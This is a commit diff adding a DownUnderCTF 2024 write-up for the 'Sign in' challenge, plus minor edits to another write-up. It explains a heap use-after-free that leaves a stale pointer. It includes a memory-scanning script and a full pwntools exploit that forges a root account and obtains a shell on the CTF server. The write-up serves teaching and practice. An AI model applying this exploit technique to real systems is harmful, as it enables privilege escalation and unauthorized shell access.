Skip to content

Commit 5bb42cf

Browse files
committed
sign in writeup
1 parent bdd1cc1 commit 5bb42cf

File tree

3 files changed

+222
-29
lines changed

3 files changed

+222
-29
lines changed

mkdocs.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ nav:
1616
- Decrypt then eval: ./decrypt_eval/index.md
1717
- Yawa: ./yawa/index.md
1818
- DNAdecay: ./dna/index.md
19-
# - Sign in: ./sign_in/index.md
19+
- Sign in: ./sign_in/index.md
2020
- sssshhhh: ./sssshhhh/index.md
2121
# - Rusty vault: ./rusty/index.md
2222
# - Jmp flag: ./jmp_flag/index.md

solve/sign_in/index.md

+218-25
Original file line numberDiff line numberDiff line change
@@ -187,10 +187,7 @@ struct user_entry {
187187
};
188188
```
189189

190-
In memory it would look like like this:
191-
192-
* 3 user_entries with addresses 0x100000, 0x100040, 0x100080
193-
* 3 user accounts with addresses 0x100020, 0x100060, 0x1000a0 (root, bob and alice)
190+
Example of memory layout of 3 user_entries (0x100000, 0x100040, 0x100080) with 3 user accounts (0x100020, 0x100060, 0x1000a0 (root, bob and alice)):
194191

195192
```graphviz dot attack_plan.svg
196193
digraph g {
@@ -214,8 +211,8 @@ graph [
214211
"element0" [
215212
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
216213
<tr> <td PORT="head"> <b>user_entry 0x100000 </b></td> </tr>
217-
<tr> <td align="left" PORT="prev"> prev: null </td> </tr>
218214
<tr> <td align="left" PORT="user"> user: 0x100020 </td> </tr>
215+
<tr> <td align="left" PORT="prev"> prev: null </td> </tr>
219216
<tr> <td align="left" PORT="next"> next: 0x100040 </td> </tr>
220217
</table>>
221218
fillcolor="#88ff0022"
@@ -224,8 +221,8 @@ graph [
224221
"element1" [
225222
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
226223
<tr> <td PORT="head"> <b>user_entry 0x100040 </b></td> </tr>
227-
<tr> <td align="left" PORT="prev"> prev: 0x100000 </td> </tr>
228224
<tr> <td align="left" PORT="user"> user: 0x100060 </td> </tr>
225+
<tr> <td align="left" PORT="prev"> prev: 0x100000 </td> </tr>
229226
<tr> <td align="left" PORT="next"> next: 0x10080 </td> </tr>
230227
</table>>
231228
fillcolor="#88ff0022"
@@ -234,8 +231,8 @@ graph [
234231
"element2" [
235232
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
236233
<tr> <td PORT="head"> <b>user_entry 0x100080 </b></td> </tr>
237-
<tr> <td align="left" PORT="prev"> prev: 0x100040 </td> </tr>
238234
<tr> <td align="left" PORT="user"> user: 0x1000a0 </td> </tr>
235+
<tr> <td align="left" PORT="prev"> prev: 0x100040 </td> </tr>
239236
<tr> <td align="left" PORT="next"> next: null </td> </tr>
240237
</table>>
241238
fillcolor="#88ff0022"
@@ -331,15 +328,11 @@ long sign_in() {
331328
}
332329
```
333330

334-
So it `sing_in` will iterate over `next` values until it reaches null and treat memory at this `next` address as holder for
335-
username and password.
336-
337331
When we delete user, memory would look like:
338332

339-
340333
* 2 user_entries with addresses 0x100000, 0x100040
341334
* 2 user accounts with addresses 0x100020, 0x100060 (root, bob)
342-
* two recycled memory blocks that will be aviailable for view allocations: 0x100080, 0x1000a0
335+
* two recycled memory blocks that will be available for view allocations: 0x100080, 0x1000a0
343336

344337
```graphviz dot attack_plan.svg
345338
digraph g {
@@ -362,8 +355,8 @@ graph [
362355
"element0" [
363356
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
364357
<tr> <td PORT="head"> <b>user_entry 0x100000 </b></td> </tr>
365-
<tr> <td align="left" PORT="prev"> prev: null </td> </tr>
366358
<tr> <td align="left" PORT="user"> user: 0x100020 </td> </tr>
359+
<tr> <td align="left" PORT="prev"> prev: null </td> </tr>
367360
<tr> <td align="left" PORT="next"> next: 0x100040 </td> </tr>
368361
</table>>
369362
fillcolor="#88ff0022"
@@ -372,9 +365,9 @@ graph [
372365
"element1" [
373366
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
374367
<tr> <td PORT="head"> <b>user_entry 0x100040 </b></td> </tr>
375-
<tr> <td align="left" PORT="prev"> prev: 0x100000 </td> </tr>
376368
<tr> <td align="left" PORT="user"> user: 0x100060 </td> </tr>
377-
<tr> <td align="left" PORT="next"> null </td> </tr>
369+
<tr> <td align="left" PORT="prev"> prev: 0x100000 </td> </tr>
370+
<tr> <td align="left" PORT="next"> next: null </td> </tr>
378371
</table>>
379372
fillcolor="#88ff0022"
380373
shape=plain
@@ -447,9 +440,10 @@ graph [
447440
]
448441
}
449442
```
443+
Note that recycled memory is not zeroed out, it still contains data.
450444

451445
Now if we create a new user, recycled memory 0x100080 and 0x1000a0 will be reused for user account and user entry. Note that last
452-
freed in `remove_account` item will be reused first by malloc in sign_up (effectively swaping addresses of user_entry and user account).
446+
freed blocked in `remove_account` item will be used first by malloc in sign_up (LIFO, effectively swaping addresses of user_entry and user account).
453447
This change is highlighted compared to _figure 1_:
454448

455449
```graphviz dot attack_plan.svg
@@ -529,9 +523,9 @@ graph [
529523
"user2" [
530524
label=<<table border="0" cellborder="1" cellspacing="0" cellpadding="4">
531525
<tr> <td PORT="head" BGCOLOR="#b2b3b4aa"> <b>user 0x100080 </b></td> </tr>
532-
<tr> <td align="left"> id: 2 </td> </tr>
533-
<tr> <td align="left"> username: alice </td> </tr>
534-
<tr> <td align="left"> password: pasword2 </td> </tr>
526+
<tr> <td align="left"> id: 3 </td> </tr>
527+
<tr> <td align="left"> username: james </td> </tr>
528+
<tr> <td align="left"> password: password3 </td> </tr>
535529
</table>>
536530
fillcolor="#0044ff22"
537531
shape=plain
@@ -546,25 +540,224 @@ graph [
546540

547541
As you can see on figure3, password of deleted user is used as address of the next user entry. So our plan is:
548542

549-
1. Find memory address that can be interpreted as user account with user account data structured with id 0 and username and password that we know.
550-
2. Create user account user1 using address from step 1 as a password.
543+
1. Find memory address that can be interpreted as user entry for account with id 0 and username and password that we know.
544+
2. Create user account using address from step 1 as a password.
551545
3. Delete the account.
552-
4. Create new account user2, this will trigger the exploit and create new entry with `next` set to address we selected in step 1.
546+
4. Create new account, this will trigger the exploit and create new entry with uninitialized `next` value. It will be address we selected in step 1. Not so "undeterminate", huh?
553547
5. Sign in with username and password that we got in step 1.
554548

555-
**Step 1**: we are looking for memory address for data structure:
549+
**Step 1**: scan memory
550+
551+
We are looking for address that points to user account structure:
556552
```c
557553
typedef struct {
558554
long uid;
559555
char username[8];
560556
char password[8];
561557
}
562558
```
563-
We want uid to be 0, and username and password to be known. The best place to start in my opinion is binary code itself as
564-
its static and we can scan it.
559+
Uid should be 0, and username and password any as long as we know it.
560+
561+
Time to check binary protection:
562+
```bash
563+
$ checksec --file=app
564+
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
565+
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 54 Symbols No 0 2 app
566+
```
565567

568+
PIE is disabled. This means code will be loaded always to the same addresses. This looks like the best place to look for pointer to
569+
user account as its value will be same every time app launched.
570+
571+
Module entry point is 0x400000, we can see it in process mapping:
572+
```bash hl_lines="2"
573+
$ cat /proc/5539/maps
574+
00400000-00401000 r--p 00000000 08:01 1209740 /home/kali/Downloads/app
575+
00401000-00402000 r-xp 00001000 08:01 1209740 /home/kali/Downloads/app
576+
00402000-00403000 r--p 00002000 08:01 1209740 /home/kali/Downloads/app
577+
00403000-00404000 r--p 00002000 08:01 1209740 /home/kali/Downloads/app
578+
00404000-00405000 rw-p 00003000 08:01 1209740 /home/kali/Downloads/app
579+
7f70658c0000-7f70658c3000 rw-p 00000000 00:00 0
580+
7f70658c3000-7f70658e9000 r--p 00000000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
581+
7f70658e9000-7f7065a40000 r-xp 00026000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
582+
7f7065a40000-7f7065a95000 r--p 0017d000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
583+
7f7065a95000-7f7065a99000 r--p 001d1000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
584+
7f7065a99000-7f7065a9b000 rw-p 001d5000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
585+
7f7065a9b000-7f7065aa8000 rw-p 00000000 00:00 0
586+
7f7065ac9000-7f7065acb000 rw-p 00000000 00:00 0
587+
7f7065acb000-7f7065acc000 r--p 00000000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
588+
7f7065acc000-7f7065af1000 r-xp 00001000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
589+
7f7065af1000-7f7065afb000 r--p 00026000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
590+
7f7065afb000-7f7065afd000 r--p 00030000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
591+
7f7065afd000-7f7065aff000 rw-p 00032000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
592+
7ffe04ef5000-7ffe04f16000 rw-p 00000000 00:00 0 [stack]
593+
7ffe04fc4000-7ffe04fc8000 r--p 00000000 00:00 0 [vvar]
594+
7ffe04fc8000-7ffe04fca000 r-xp 00000000 00:00 0 [vdso]
595+
```
596+
597+
Script to find address that points to memory that can be interpreted as user account with id 0:
598+
599+
```python title="script.py"
600+
# start scan of memory at base address of the application
601+
module_start = 0x400000
602+
# we only interested in readonly memory (24 bytes padding for safety as user structure is 24 bytes long)
603+
module_end = 0x404000 - 24
604+
605+
# iterate over memory addresses
606+
for i in range(module_start, module_end):
607+
# read value stored at i (unpack convertes from little endian byte array into int)
608+
addr = unpack(elfexe.read(i, 8))
609+
# if value i is a number in range module_start..module_end it can be interpreted as address.
610+
# Also check value that address i is pointing to, target application will treat that value as user ID.
611+
# We are looking for user ID equal to 0
612+
if module_start < addr < module_end and unpack(elfexe.read(addr, 8)) == 0:
613+
fake_root_entry = i
614+
break
615+
616+
# use fake user entry that we found to calculate user account details
617+
fake_account_address = unpack(elfexe.read(fake_root_entry, 8))
618+
# first field of user structuture is user ID 8 bytes
619+
fake_account_id = unpack(elfexe.read(fake_account_address, 8))
620+
# second field (offset 8) in user structure is username 8 bytes
621+
fake_account_username = elfexe.read(fake_account_address + 8, 8)
622+
# third field (offset sum of length previous files 8 + 8) in user structure is password 8 bytes
623+
fake_account_password = elfexe.read(fake_account_address + 16, 8)
624+
625+
print(f"fake entry address {hex(fake_root_entry)}")
626+
print(f"{fake_account_id=}")
627+
print(f"fake account username {binascii.hexlify(fake_account_username)}")
628+
print(f"fake account password {binascii.hexlify(fake_account_password)}")
629+
```
630+
631+
```bash title="output.txt"
632+
fake entry address 0x403eb8
633+
fake_account_id=0
634+
fake account username b'0000000000000000'
635+
fake account password b'0000000000000000'
636+
```
637+
638+
**Steps 2-5**: exploit
639+
640+
I used pwntools to automate necessary steps (account creation, sign in, deletion etc...):
641+
642+
```python
643+
io.recvuntil(b"> ") # wait till target application is initialized
644+
io.sendline(b'1') # enter choice 1 - create account
645+
io.recvuntil(b":") # wait username prompt
646+
io.sendline(b"one") # enter username
647+
io.recvuntil(b":") # wait password prompt
648+
io.sendline(pack(fake_root_entry)) # send address as fake root entry as password (converting into little endian)
649+
io.recvuntil(b"> ") # wait prompt
650+
io.sendline(b'2') # enter choice 2 - sign in
651+
io.recvuntil(b":") # wait username prompt
652+
io.sendline(b"one") # enter username
653+
io.recvuntil(b":") # wait password prompt
654+
io.sendline(pack(fake_root_entry)) # enter password
655+
io.recvuntil(b"> ") # wait prompt
656+
io.sendline(b'3') # enter choice 3 - remove account
657+
io.recvuntil(b"> ") # wait prompt
658+
io.sendline(b'1') # enter choice 1 - create account
659+
io.recvuntil(b":") # wait username prompt
660+
io.sendline(b"two") # enter username
661+
io.recvuntil(b":") # wait password prompt
662+
io.sendline(b"two") # enter password
663+
io.recvuntil(b"> ") # wait prompt
664+
io.sendline(b'2') # enter choice 2 - signup
665+
io.recvuntil(b":") # wait username prompt
666+
# enter username and password of our fake user account
667+
# note that both fields are concatenated.
668+
# if we use sendline(fake_account_username) then sendline(fake_account_password)
669+
# then first sendline would append '\n' and password wont match
670+
io.sendline(fake_account_username + fake_account_password)
671+
io.recvuntil(b"> ") # wait prompt
672+
io.sendline(b'4') # enter choice 4 - Get shell
673+
```
674+
675+
And full script:
676+
677+
??? success "solve.py"
678+
```py
679+
from pwn import *
680+
681+
context.binary = elfexe = ELF('./app')
682+
libc = elfexe.libc
683+
684+
context.log_level = 'warn'
685+
686+
arguments = []
687+
if args['REMOTE']:
688+
remote_server = '2024.ductf.dev'
689+
remote_port = 30022
690+
io = remote(remote_server, remote_port)
691+
else:
692+
io = process([elfexe.path] + arguments)
693+
694+
# start scan of memory at base address of the application
695+
module_start = 0x400000
696+
# we only interested in readonly memory (16 bytes padding for safety as user structure is 24 bytes long)
697+
module_end = 0x404000 - 24
698+
699+
# iterate over memory addresses
700+
for i in range(module_start, module_end):
701+
# read value stored at i (unpack convertes from little endian byte array into int)
702+
addr = unpack(elfexe.read(i, 8))
703+
# if value i is address in range module_start..module_end
704+
# then read value that i is pointing to - its user ID, if user ID is 0 then we found good address
705+
# to use as fake user entry
706+
if module_start < addr < module_end and unpack(elfexe.read(addr, 8)) == 0:
707+
fake_root_entry = i
708+
break
709+
710+
# use fake user entry that we found calculate user account details
711+
fake_account_address = unpack(elfexe.read(fake_root_entry, 8))
712+
fake_account_id = unpack(elfexe.read(fake_account_address, 8))
713+
fake_account_username = elfexe.read(fake_account_address + 8, 8)
714+
fake_account_password = elfexe.read(fake_account_address + 16, 8)
715+
716+
print(f"fake entry address {hex(fake_root_entry)}")
717+
print(f"{fake_account_id=}")
718+
print(f"fake account username {binascii.hexlify(fake_account_username)}")
719+
print(f"fake account password {binascii.hexlify(fake_account_password)}")
720+
721+
io.recvuntil(b"> ") # wait till target application initialised
722+
io.sendline(b'1') # enter choice 1 - create account
723+
io.recvuntil(b":") # wait username prompt
724+
io.sendline(b"one") # enter username
725+
io.recvuntil(b":") # wait password prompt
726+
io.sendline(pack(fake_root_entry)) # send address as fake root entry as password (converting into little endian)
727+
io.recvuntil(b"> ") # wait prompt
728+
io.sendline(b'2') # enter choice 2 - sign in
729+
io.recvuntil(b":") # wait username prompt
730+
io.sendline(b"one") # enter username
731+
io.recvuntil(b":") # wait password prompt
732+
io.sendline(pack(fake_root_entry)) # enter password
733+
io.recvuntil(b"> ") # wait prompt
734+
io.sendline(b'3') # enter choice 3 - remove account
735+
io.recvuntil(b"> ") # wait prompt
736+
io.sendline(b'1') # enter choice 1 - create account
737+
io.recvuntil(b":") # wait username prompt
738+
io.sendline(b"two") # enter username
739+
io.recvuntil(b":") # wait password prompt
740+
io.sendline(b"two") # enter password
741+
io.recvuntil(b"> ") # wait prompt
742+
io.sendline(b'2') # enter choice 2 - signup
743+
io.recvuntil(b":") # wait username prompt
744+
# enter username and password of the fake entity that has id 0
745+
# note that both fields are concatenated.
746+
# if we use sendline(fake_account_username) then sendline(fake_account_password)
747+
# then because sendline appends '\n' it would be treated as part of password and sign in fails
748+
io.sendline(fake_account_username + fake_account_password)
749+
io.recvuntil(b"> ") # failed prompt
750+
io.sendline(b'4') # enter choice 4 - Get shell
751+
752+
# we should have remove shell now - switch to interactive mode
753+
io.interactive()
754+
io.close()
755+
```
566756

567757
## Epilogue
568758

569759
* Official website: [https://downunderctf.com/](https://downunderctf.com/)
570760
* Official writeups: https://github.com/DownUnderCTF/Challenges_2024_Public
761+
762+
*[PIE]: Position Independent Executable
763+
*[LIFO]: Last In First Out

solve/sssshhhh/index.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -45,9 +45,9 @@ $ ./server
4545

4646
When we try to ssh to it we see that it requires a password. So lets open in [Ghidra](https://ghidra-sre.org/) and see if we can find it.
4747

48-
`main` function has calls `startLogger()` and `RunSSH()`. Second one is interesting - it should initialise user accounts somehow. In code there are a lot of
48+
`main` function has calls `startLogger()` and `RunSSH()`. Second call is interesting - it should initialise user accounts somehow. In code there are a lot of
4949
references to https://github.com/charmbracelet/ssh which is a go package for embeded ssh server. In the documentation and examples of the
50-
library we can see how usually password authentication is configured https://pkg.go.dev/github.com/gliderlabs/ssh#PasswordAuth so we know what
50+
library we can see how usually password authentication is configured https://pkg.go.dev/github.com/gliderlabs/ssh#PasswordAuth, so we know what
5151
to look for.
5252

5353
Two interesting lines in `RunSSH()` that caught my eye:
@@ -75,7 +75,7 @@ undefined8 main.RunSSH.func2(long param_1,undefined8 param_2,undefined8 param_3,
7575
return uVar1;
7676
}
7777
```
78-
It compares some number (length?) to 0x23 and then calls `memequal`. Strangely, memequel doesn't take any params. Eventually I checked disassembly:
78+
It compares some number (length?) to 0x23 and then calls `memequal`. Strangely, `memequel` doesn't take any params. Eventually I checked disassembly for this line:
7979
```asm
8080
MOV RAX,param_4
8181
LEA RBX,[DAT_0067ec99]

0 commit comments

Comments
 (0)